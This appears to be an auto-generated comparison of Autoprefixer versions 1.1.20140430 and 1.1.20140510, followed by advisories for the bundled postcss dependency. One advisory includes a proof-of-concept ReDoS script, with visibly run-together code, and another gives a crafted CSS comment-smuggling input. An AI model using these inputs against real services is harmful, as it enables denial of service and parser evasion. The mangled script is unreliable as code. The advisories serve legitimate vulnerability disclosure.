The Autoprefixer package, a tool that automatically adds vendor prefixes to CSS rules, saw a minor update between version 1.1.20140430 and 1.1.20140510. Both versions share the core functionality of parsing CSS and leveraging data from the Can I Use website to ensure cross-browser compatibility. They depend on the same main libraries: postcss (version ~0.3.4) for CSS parsing and fs-extra (version ~0.8.1) for file system operations. Furthermore, the development dependencies like nib, mocha, should, stylus, and coffee-script are consistent across both versions, indicating a stable testing and build environment. The license remains MIT, and the repository information points to the same Git repository. The author is also the same, Andrey Sitnik.
The key difference lies in the updated version of browserify, a tool for bundling JavaScript modules. The earlier version, 1.1.20140430, utilizes browserify version 3.44.2, while the newer version, 1.1.20140510, uses version 4.1.1. This suggests an improvement or update in the JavaScript bundling process for the later version. For developers, this might translate to potentially faster build times, improved module handling, or bug fixes related to JavaScript packaging. While the core CSS processing functionality remains largely unchanged, the updated browserify dependency could lead to a more streamlined development workflow when using Autoprefixer in conjunction with JavaScript-heavy projects. The release date also differs accordingly.
All the vulnerabilities related to the version 1.1.20140510 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.